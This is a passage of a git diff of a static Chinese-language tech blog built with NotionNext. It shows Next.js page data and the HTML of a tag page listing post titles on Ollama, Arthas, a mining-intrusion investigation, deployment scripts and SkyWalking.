fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"spring"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"spring"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\345\267\245\345\205\267.html" "b/tag/\345\267\245\345\205\267.html"
index 4500d0be7..75bedc754 100644
--- "a/tag/\345\267\245\345\205\267.html"
+++ "b/tag/\345\267\245\345\205\267.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>工具 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="工具 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/工具"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="工具 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%B7%A5%E5%85%B7/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%B7%A5%E5%85%B7/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
